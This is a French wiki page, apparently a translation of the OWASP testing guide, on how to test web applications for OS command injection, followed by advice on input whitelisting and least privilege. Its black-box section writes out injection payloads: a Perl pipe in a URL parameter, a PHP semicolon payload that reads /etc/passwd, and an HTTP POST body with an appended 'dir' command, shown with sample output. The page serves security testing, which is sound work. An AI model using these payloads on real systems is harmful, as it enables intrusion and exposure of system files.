User Tools

Site Tools


hack:testing_for_command_injection

testing_guide

Résumé

Cet article décrit comment tester une application pour détecter l'injection de commande OS. Nous essayons d'injecter une commande OS via une requête HTTP.

Description

L'injection de commande OS est une technique utilisée par l'intermédiaire d'une interface Web afin d'exécuter des commandes du système d'exploitation sur un serveur web.

L'utilisateur fournit des commandes du système d'exploitation via une interface Web afin d'exécuter ces commandes. Toute interface web qui n'est pas correctement filtré est soumis à cet exploit. Avec la possibilité d'exécuter des commandes du système d'exploitation, l'utilisateur peut télécharger des programmes malveillants ou même obtenir des mots de passe. L'injection de commandes OS est évitable lorsque la sécurité est prise en compte dès la conception et du développement d'applications.

Test boîte noire

Lors de l'affichage d'un fichier dans une application web, le nom du fichier est souvent indiqué dans l'URL. Perl permet de rediriger les données d'un processus vers un autre. L'utilisateur doit simplement ajouter le symbole pipe “|” à la fin du nom de fichier.

Exemple d'URL avant de modification:

http://sensitive/cgi-bin/userData.pl?doc=user1.txt

Exemple d'URL modifiée:

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

Cela exécutera la commande “/bin/ls”.

En ajoutant un point-virgule à la fin de l'URL d'une page PHP suivie par une commande du système d'exploitation, la commande sera exécutée. %3B est l'encodage url du point-virgule

Exemple:

http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Exemple

Prenons le cas d'une application qui contient une série de documents que vous pouvez consulter à partir d'Internet. Si vous lancez WebScarab, vous pouvez obtenir un HTTP POST comme suit:

POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
...
Doc=Doc1.pdf

Dans cette requête POST, nous remarquons la façon dont l'application récupère la documentation publique. Maintenant, nous pouvons tester si il est possible d'ajouter une commande du système d'exploitation à injecter dans le POST HTTP. Essayez ce qui suit:

POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
...
Doc=Doc1.pdf+|+Dir c:\

Si l'application ne contrôle pas la validité du contenu de la requête, on peut obtenir le résultat suivant:

Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
   Doc
   11/11/2006 17:25
      Documents and Settings
      25/10/2006 03:11
         I386
         14/11/2006 18:51
            h4ck3r
            30/09/2005 21:40 25,934 
               OWASP1.JPG
               03/11/2006 18:29
                       Prog
                       18/11/2006 11:20
                               Program Files
                               16/11/2006 21:12
                                       Software
                                       24/10/2006 18:25
                                               Setup
                                               24/10/2006 23:37
                                                       Technologies
                                                       18/11/2006 11:14        
                                                       3 File 32,496 byte
                                                       13 Directory 6,921,269,248 byte disponibili
                                                       Return code: 0

Dans ce cas, nous avons réalisé avec succès une attaque par injection de commandes OS.

Test Boîte Grise

Désinfection.

Les données de l'URL et des formulaires doivent être désinfectés des caractères non valides. Une «liste noire» des caractères est une option, mais il peut être difficile de penser à tous les caractères. En outre il peut y avoir certains caractères qui n'ont pas été découverts pour le moment. Une «liste blanche» ne contenant que des caractères autorisés devraient être créés pour valider la saisie de l'utilisateur. Les caractères qui ont été oubliés, ainsi que les menaces inconnues, devraient être éliminés par cette liste.

Autorisations

L'application Web et ses composantes doivent être exécutés avec des privilèges strictes qui ne permettent pas l'exécution de commandes du système d'exploitation. Essayez de vérifier toutes ces informations.

Références

Livres Blancs

Outils

  • OWASP WebScarab
  • OWASP WebGoat
hack/testing_for_command_injection.txt · Last modified: 2019/02/13 13:10 by 127.0.0.1